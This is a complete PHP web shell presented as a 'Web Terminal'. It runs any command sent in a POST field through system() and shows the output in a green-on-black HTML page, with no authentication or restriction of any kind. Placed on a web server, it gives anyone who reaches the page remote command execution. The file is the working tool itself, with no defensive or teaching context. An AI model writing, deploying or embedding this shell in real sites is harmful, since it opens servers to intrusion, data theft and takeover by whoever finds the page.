<?php
$output = '';
if(isset($_POST['cmd']) && trim($_POST['cmd']) !== ''){
    ob_start();
    system($_POST['cmd']);
    $output = ob_get_clean();
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Terminal</title>
<style>
body { background: #1e1e1e; color: #0f0; font-family: monospace; padding: 20px; }
#output { background: #000; padding: 15px; margin-bottom: 10px; min-height: 300px; white-space: pre-wrap; border: 1px solid #333; }
input[type=text] { background: #000; color: #0f0; border: 1px solid #333; padding: 10px; width: 80%; font-family: monospace; }
input[type=submit] { background: #333; color: #0f0; border: none; padding: 10px 20px; cursor: pointer; }
</style>
</head>
<body>
<h2>Web Terminal</h2>
<div id="output"><?php echo htmlspecialchars($output); ?></div>
<form method="POST">
<span style="color:#ff0;">$</span>
<input type="text" name="cmd" autofocus autocomplete="off">
<input type="submit" value="Run">
</form>
</body>
</html>